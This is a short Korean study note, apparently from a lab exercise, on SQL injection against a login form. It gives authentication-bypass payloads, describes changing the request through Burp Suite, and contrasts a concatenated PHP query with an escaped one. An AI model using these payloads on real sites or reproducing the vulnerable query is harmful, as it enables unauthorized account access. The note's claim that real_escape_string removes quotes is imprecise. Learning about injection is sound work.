웹 사이트 해킹

1. SQL Injection

SELECT \* FROM accounts WHERE username = ‘$USERNAME’ and password=’$PASSWORD’

<password injection>

SELECT \* FROM accounts WHERE username = ‘$USERNAME’ and password=’aaa’ or 1=1 #’

<id injection>

SELECT \* FROM accounts WHERE username = ‘admin’ #’ and password=’$PASSWORD’

SELECT \* FROM accounts WHERE username = ‘’ or 1=1#’ and password=’$PASSWORD’

<Detector bypassing>

스크린샷이(가) 표시된 사진

자동 생성된 설명

스크린샷이(가) 표시된 사진

자동 생성된 설명

이와 같이 잘못된 비밀번호를 입력한 후 burp suite를 통해 Proxy를 이용하여 aa’ or 1=1# 로 수정한 후 Forward해주면 Injection이 이루어진다.

<Low Security>

$query = “SELECT \* FROM accounts WHERE username=’”.

$username.

“’ AND password=’”.

$password.

<High Security>

$query = “SELECT \* FROM accounts WHERE username=’”.

$conn->real\_escape\_string($username) .

“’ AND password=’”.

$conn->real\_escape\_string($password).

“’”;

real\_escape\_string() : Remove the small quotation ‘ ‘